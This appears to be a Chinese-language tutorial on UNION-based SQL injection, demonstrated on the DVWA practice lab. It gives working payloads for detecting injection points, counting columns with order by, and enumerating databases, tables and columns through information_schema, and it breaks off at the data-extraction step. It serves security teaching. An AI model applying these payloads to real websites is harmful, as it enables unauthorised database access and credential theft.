了解聯合查詢注入之前,先要了解一下什么是union?
union是用於合並兩個sql查詢結果的語句。
要使用union
必須有相同的列數
必須有兩條以上的select語句組成
列的數據類型必須兼容,兼容的含義是必須數據庫可以隱含轉換他們的類型
聯合注入
下面將以dwav靶場示例
1.判斷是否存在可疑的注入點(數字型或字符型)。
數字型與字符型注入最大的區別在於:數字型不需要單引號閉合,而字符型一般需要使用單引號來閉合。
方法一: 單引號法
'
方法二: 邏輯法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:運算法
-1
-0
2.猜解表名
常見敏感表名
admin
user admin_userinfo
system
vipuser
a_admin
xxx_admin
3.猜字段數
order by
4.猜解字段名
敏感字段名:
username
password
admin_usernmae
admin_password
5.獲取數據
id = 1 union select 1,2,3,'''''
聯合注入步驟詳情:
打開本地dvwa靶場
1.判斷是否存在注入(數字型或字符型)
當輸入id等於1'時 數據庫直接報錯,通過回顯我們可以看出id=1'被包在單引號里面被數據庫轉換成了字符串而不會去執行。
所以我們就要構造閉合 讓語句可以成功帶入數據庫進行執行,以達到我們想要的操作。
當輸入id = 1' and '1' ='1時,此時代數數據庫執行的語句就是這樣的
select First name,surname FORM users WHERE user_id='1''
當輸入1' and '1' ='1時,執行的語句就會是這樣
select First name,surname FORM users WHERE user_id='1' and '1' ='1'
將姓名都顯示出來。說明存在字符型注入。
2.猜解字段數
命令: order by 數字
功能:當猜測的數字小於或等於實際字段數,回顯正確,否則報錯
發現輸入id=1' order by 3 # 時報錯,則猜測字段為兩個
3.聯合查詢
使用 union select database(),user() # !!!井號不要忘記加
這里查詢到數據庫為 dvwa 用戶為root@loca1host
查詢當前 數據庫版本(尤為重要)
當mysql 版本小於4.0 的時候 ,是不支持 union seletc聯合查詢的
當mysql 版本大於5.0時,有個默認數據庫information_schema,保存了 Mysql服務器所有數據庫的信息,如數據庫名,數據庫的表, 表欄的數據類型與訪問權限等。該數據庫擁有⼀個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫
列舉幾個常見的查詢函數
1. version()- 數據庫版本
2.user() -數據庫用戶
3. database() - 當前所在數據庫
4. current_user() - 當前用戶名
5. system_user() - 系統用戶名
6. session_user() -連接到數據庫的用戶名
7. @@basedir - 數據庫的安裝目錄
8. @@datadir - 數據庫文件存放目錄
9. SCHEMATA- 記錄當前數據庫服務器所有數據庫名稱
10.TABALES- 記錄了當前數據庫服務器所有表的信息
4.獲取數據表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
聯合 查詢 "information_schema.table" 表中選取 "table_name" 和 "table_schema" 列 條件 table_schema = 'dvwa' #
獲得 guestbook表 和 users表
5.獲取表列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
group_concat 一次性
6.獲取數據